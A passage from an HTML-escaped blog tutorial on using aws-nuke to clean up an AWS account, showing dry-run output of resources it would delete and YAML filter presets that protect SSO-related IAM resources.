#96D0FF\"\u003esgr-0368525f77bf566ac\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esgr-0890a837ed6148729\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2InternetGatewayAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eigw-0acfb474f1fd71375\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evpc-0be5d310ab44c239a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSQSQueue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://sqs.us-east-1.amazonaws.com/777777777777/example-sqs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMOpenIDConnectProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:oidc-provider/app.terraform.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [Arn: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:oidc-provider/app.terraform.io\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:policy/tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [ARN: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePolicyID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ANPA2T6PZOBNWI76TKQRF\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [CreateDate: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLastUsedDate:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [PolicyArn: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePolicyName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleCreateDate:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-04-02T17:55:23Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleLastUsed:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-06-22T13:45:02Z\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRoleName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRolePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eScan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e85\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etotal,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enukeable,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e66\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiltered.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eThe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eabove\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edeleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupplied\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eProvide\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--no-dry-run\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactually\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edestroy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresources.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is great, it fully scanned the account and found every resource to delete!\nIt even wants to delete the DefaultVPC which is usually a good idea.  The one\nresource that should catch your eye that you probably do not want to delete:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAWS clearly doesn't want us to delete that!\u003c/p\u003e\n\u003ch1\u003eFilters\u003c/h1\u003e\n\u003cp\u003eTo prevent nuke from deleting resources you want to keep you can define presets\nthat you use on each account.  So with our SSO example we want to prevent it\nfrom deleting those resources in a preset.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"regex\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSSSO_.*_DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"glob\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO_*\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can see in this example I'm targetting specific resource types and then\nmatching them with both \u003ccode\u003eregex\u003c/code\u003e and \u003ccode\u003eglob\u003c/code\u003e filter types. These are super\npowerful but a lot of times the simpler filters can be used.  I start with\n\u003ccode\u003econtains\u003c/code\u003e filter and then go from there:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtains\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWSReservedSSO\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen the other thing you may have noticed is that I was repeating\n\u003ccode\u003eAWSReservedSSO\u003c/code\u003e multiple times.  To reduce that you can use standard YAML\nanchors.   So the final config for your preset would look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e_DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      